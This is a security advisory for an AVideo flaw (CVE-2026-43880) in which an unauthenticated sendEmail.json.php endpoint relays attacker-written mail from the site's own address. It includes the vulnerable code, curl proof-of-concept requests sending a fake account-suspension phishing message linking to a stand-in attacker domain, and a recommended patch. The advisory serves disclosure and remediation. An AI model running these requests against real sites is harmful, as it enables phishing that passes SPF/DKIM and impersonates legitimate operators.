Skip to content

GHSA-5hgj-7gm9-cff5 CVE-2026-43880

AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.42% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-940 Improper Verification of Source of a Communication Channel
Fix
None yet
No fixed version published

Description

Summary

objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.

Details

Vulnerable code (objects/sendEmail.json.php):

10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12:     $valid = true;
13: }
...
16: if ($valid) {
...
24:     $mail = new \PHPMailer\PHPMailer\PHPMailer();
25:     setSiteSendMessage($mail);           // uses site's SMTP credentials
...
30:     $replyTo = User::getEmail_();
31:     if (empty($replyTo)) {
32:         $replyTo = $config->getContactEmail();   // <-- FALLBACK to site's own email
33:     }
34:
35:     $sendTo = $_POST['email'];            // attacker-controlled recipient
36:
37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38:     if (!empty($_POST['contactForm'])) {
39:         $replyTo = $_POST['email'];
40:         $sendTo  = $config->getContactEmail();
41:     }
42:
43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44:         $mail->AddReplyTo($replyTo);       // site's address
45:         $mail->setFrom($replyTo);          // From: site's address
...
47:         $mail->addAddress($sendTo);        // TO: attacker-chosen victim
...
49:         $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50:         $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51:         $mail->msgHTML($msg);
...
55:         if (!$mail->send()) { ... }

User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().

Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:

static $builtinBypass = [
    ...
    // Public write actions
    'sendEmail.json.php',
    ...
];
if (in_array($baseName, $builtinBypass, true)) { return; }

Why existing defenses don't mitigate the abuse:

  • Captcha (Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.
  • FILTER_VALIDATE_EMAIL (line 43): validates $sendTo format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.
  • htmlspecialchars on $safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.
  • No rate limiting, no auth check, no association between the caller and the recipient address.

Flow summary for the abuse case (unauthenticated, no contactForm):

  1. User::getEmail_() → '', so $replyTo = site's contact email (line 32)
  2. $sendTo = attacker's chosen recipient (line 35)
  3. contactForm branch skipped (line 38)
  4. Site's SMTP sends From: <site contact> to <victim> with attacker's subject/body (lines 44-51)

Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.

PoC

Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).

# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'

# 2. Send phishing email. Note: contactForm is OMITTED.
#    - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
#    - $sendTo = attacker-chosen recipient
#    - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=abc123' \
  --data-urlencode 'email=victim@target.com' \
  --data-urlencode 'first_name=Support Team' \
  --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'

Expected server response:

{"error":"","success":"Message sent"}

Delivered headers at victim@target.com:

From: <site's legitimate contact email, e.g. contact@legit-videosite.com>
Reply-To: <site's legitimate contact email>
To: victim@target.com
Subject: Message From Site <SiteName> (Support Team)
Body:   <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...

Contrast with the intended contactForm=1 flow (correctly routes to the site owner):

curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=<newcaptcha>' \
  --data-urlencode 'email=attacker@attacker.com' \
  --data-urlencode 'comment=hi' \
  --data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)

Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.

Impact

  • Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
  • Brand impersonation / account-takeover chains. Attacker-controlled subject (first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator.
  • Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
  • Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.

Recommended Fix

Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:

// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
    $valid = true;
}

// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
    $obj = new stdClass();
    $obj->error = __("Authentication required");
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$obj = new stdClass();
$obj->error = '';
if ($valid) {
    ...
    $replyTo = User::getEmail_();
    if (empty($replyTo)) {
        // Should no longer be reachable for arbitrary recipients.
        // Keep as defense-in-depth only for contactForm=1 path.
        $replyTo = $config->getContactEmail();
    }
    ...
}

Additional hardening:

  1. Always use a dedicated no-reply@ address in setFrom(); put the caller's address only in Reply-To. Never reuse $config->getContactEmail() as the From for user-initiated messages.
  2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.
  3. Drop the non-contactForm branch entirely if no legitimate unauthenticated UI caller remains.
  4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 29.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-940: Improper Verification of Source of a Communication Channel

The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

How to prevent it
  • Architecture and Design: Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor